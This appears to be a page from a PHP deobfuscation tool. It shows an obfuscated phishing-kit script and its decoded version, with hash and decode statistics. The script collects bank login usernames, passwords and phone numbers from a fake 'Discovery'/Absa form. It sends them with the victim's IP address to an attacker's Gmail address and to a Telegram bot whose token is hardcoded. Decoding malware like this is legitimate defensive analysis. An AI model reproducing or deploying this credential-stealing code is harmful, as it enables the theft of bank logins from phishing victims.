Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto JYjKB; LGJIv: if (empty($_POST["\144\x69\163\x63\157\166\x65\162\x79\x70\x61\..

Decoded Output download

<?php 
 goto JYjKB; LGJIv: if (empty($_POST["discoverypassword"])) { $nameErr = " "; } elseif (strlen($_POST["discoveryusername"]) > 30) { $nameErr = " "; } elseif (strlen($_POST["discoverypassword"]) > 30) { $nameErr = " "; } elseif (strlen($_POST["discoveryusername"]) < 1) { $nameErr = " "; } elseif (strlen($_POST["discoverypassword"]) < 1) { $nameErr = " "; } else { $_SESSION["bnk"] = $bnk = "Absa"; $discoveryusername = $_POST["discoveryusername"]; $discoverypassword = $_POST["discoverypassword"]; $discoveryphone = $_POST["discoveryphone"]; $ip = getenv("REMOTE_ADDR"); $port = $_SERVER["REMOTE_PORT"]; $hostname = gethostbyaddr($ip); $message = "==================+[ Discovery Result ]+==================\xa"; $message .= "ID  : " . $discoveryusername . "
"; $message .= "pw : " . $discoverypassword . "\xa\xa"; $message .= "phone : " . $discoveryphone . "\xa
"; $message .= "Client IP : " . $ip . "\xa"; $message .= "Port : " . $port . "\xa"; $message .= "=============+ [ Created by  OmeGaLorD ] +=============
"; $send = "[email protected]"; $subject = "Det {$ip}"; $headers .= "X-Mailer: PHP v" . phpversion() . "\xd
"; mail($send, $subject, $message, $headers); $botToken = "6834005375:AAHQd2kw80Vz8tRByjDDCKLdj9rIrALthN8"; $chatId = "6944516925"; $url = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=discovery user: {$discoveryusername}%0Adiscovery pw: {$discoverypassword}%0Adiscovery phone: {$discoveryphone}%0Adiscovery number: {$discoverynumber}%0AClient ip: {$ip}%0A=============+ [ Created by  OmeGaLorD ] +============="; $streamOptions = array("ssl" => array("verify_peer" => false, "verify_peer_name" => false), "http" => array("method" => "POST")); $context = stream_context_create($streamOptions); $handle = fopen($url, "r", false, $context); $response = stream_get_contents($handle); fclose($handle); echo $response; } goto C6qoz; JYjKB: session_start(); goto RDf0E; RDf0E: if (empty($_POST["discoveryusername"])) { $nameErr = " "; } goto LGJIv; C6qoz: ?>

Did this file decode correctly?

Original Code

<?php
 goto JYjKB; LGJIv: if (empty($_POST["\144\x69\163\x63\157\166\x65\162\x79\x70\x61\x73\163\167\157\162\x64"])) { $nameErr = "\x20"; } elseif (strlen($_POST["\144\x69\163\143\157\x76\x65\x72\x79\x75\x73\x65\162\x6e\141\155\x65"]) > 30) { $nameErr = "\x20"; } elseif (strlen($_POST["\x64\151\163\143\157\166\x65\x72\x79\x70\x61\x73\163\167\157\162\x64"]) > 30) { $nameErr = "\40"; } elseif (strlen($_POST["\144\x69\x73\x63\157\x76\x65\x72\x79\x75\x73\x65\x72\156\x61\x6d\x65"]) < 1) { $nameErr = "\40"; } elseif (strlen($_POST["\x64\151\163\143\157\166\x65\x72\x79\x70\141\163\x73\x77\x6f\162\x64"]) < 1) { $nameErr = "\x20"; } else { $_SESSION["\142\156\153"] = $bnk = "\101\142\163\141"; $discoveryusername = $_POST["\x64\151\x73\x63\x6f\166\x65\162\171\x75\x73\145\162\156\141\x6d\145"]; $discoverypassword = $_POST["\x64\151\x73\143\157\x76\145\162\171\x70\141\163\163\167\x6f\162\x64"]; $discoveryphone = $_POST["\144\151\163\143\x6f\x76\145\162\171\x70\x68\x6f\156\145"]; $ip = getenv("\x52\105\x4d\x4f\124\105\137\x41\104\104\x52"); $port = $_SERVER["\122\x45\115\117\124\105\x5f\x50\x4f\x52\124"]; $hostname = gethostbyaddr($ip); $message = "\75\x3d\75\x3d\x3d\75\x3d\x3d\x3d\75\75\x3d\x3d\75\75\75\75\75\x2b\x5b\x20\x44\151\x73\143\x6f\x76\145\162\171\40\122\145\163\165\x6c\x74\x20\135\x2b\75\75\75\75\75\x3d\x3d\x3d\x3d\x3d\x3d\75\75\x3d\x3d\x3d\75\75\xa"; $message .= "\111\104\40\40\72\40" . $discoveryusername . "\12"; $message .= "\x70\x77\40\72\x20" . $discoverypassword . "\xa\xa"; $message .= "\x70\x68\157\x6e\145\40\x3a\x20" . $discoveryphone . "\xa\12"; $message .= "\103\154\151\x65\156\164\x20\x49\120\40\72\40" . $ip . "\xa"; $message .= "\120\157\162\x74\40\x3a\40" . $port . "\xa"; $message .= "\x3d\75\x3d\75\x3d\x3d\x3d\75\75\x3d\x3d\75\x3d\x2b\40\x5b\x20\103\162\145\x61\164\x65\x64\x20\142\171\x20\40\x4f\x6d\145\x47\x61\114\157\162\104\40\135\40\53\x3d\75\75\75\75\75\x3d\x3d\75\75\75\75\75\12"; $send = "\151\141\155\62\63\164\153\x65\x6e\x74\x65\162\x70\x72\151\x73\x65\163\100\x67\155\x61\x69\154\x2e\143\157\x6d"; $subject = "\104\x65\x74\40{$ip}"; $headers .= "\x58\x2d\115\141\x69\x6c\145\162\x3a\40\x50\x48\x50\40\x76" . phpversion() . "\xd\12"; mail($send, $subject, $message, $headers); $botToken = "\66\x38\x33\x34\x30\x30\65\63\x37\x35\x3a\x41\x41\x48\x51\144\62\x6b\x77\x38\60\126\172\x38\164\122\102\171\152\x44\104\x43\113\114\x64\152\x39\162\x49\x72\x41\x4c\x74\150\116\x38"; $chatId = "\66\x39\x34\64\65\x31\66\71\62\x35"; $url = "\x68\164\164\160\x73\x3a\57\57\141\x70\x69\56\x74\x65\154\x65\147\x72\141\155\x2e\x6f\x72\147\57\x62\157\164{$botToken}\x2f\163\x65\x6e\x64\115\145\x73\x73\x61\x67\145\x3f\143\150\x61\x74\x5f\x69\144\x3d{$chatId}\x26\164\x65\170\x74\75\x64\151\163\143\x6f\166\x65\162\x79\40\x75\163\x65\x72\72\x20{$discoveryusername}\45\60\101\x64\151\163\x63\157\166\145\162\x79\40\160\x77\x3a\40{$discoverypassword}\45\x30\101\144\x69\x73\x63\157\166\x65\162\x79\40\160\x68\x6f\x6e\x65\x3a\40{$discoveryphone}\45\x30\x41\x64\x69\163\143\157\166\x65\162\x79\40\x6e\165\x6d\142\x65\162\x3a\x20{$discoverynumber}\45\60\x41\x43\154\151\145\x6e\x74\x20\151\160\72\40{$ip}\45\x30\x41\75\75\75\75\75\75\75\75\75\75\x3d\75\75\x2b\x20\133\40\103\x72\145\141\x74\x65\x64\x20\142\x79\40\x20\x4f\x6d\145\x47\141\x4c\x6f\162\104\x20\x5d\40\x2b\x3d\x3d\x3d\75\x3d\x3d\75\75\x3d\x3d\75\x3d\x3d"; $streamOptions = array("\x73\x73\154" => array("\166\145\x72\x69\146\171\137\160\x65\145\x72" => false, "\x76\x65\x72\x69\146\x79\x5f\x70\x65\x65\162\137\156\141\155\x65" => false), "\x68\164\x74\160" => array("\x6d\145\164\150\x6f\144" => "\x50\117\123\124")); $context = stream_context_create($streamOptions); $handle = fopen($url, "\162", false, $context); $response = stream_get_contents($handle); fclose($handle); echo $response; } goto C6qoz; JYjKB: session_start(); goto RDf0E; RDf0E: if (empty($_POST["\144\151\163\x63\157\166\x65\162\171\165\x73\x65\162\x6e\141\x6d\145"])) { $nameErr = "\40"; } goto LGJIv; C6qoz: ?>

Function Calls

None

Variables

None

Stats

MD5 c85205831c6ac4e81ff2643b7d226dd5
Eval Count 0
Decode Time 38 ms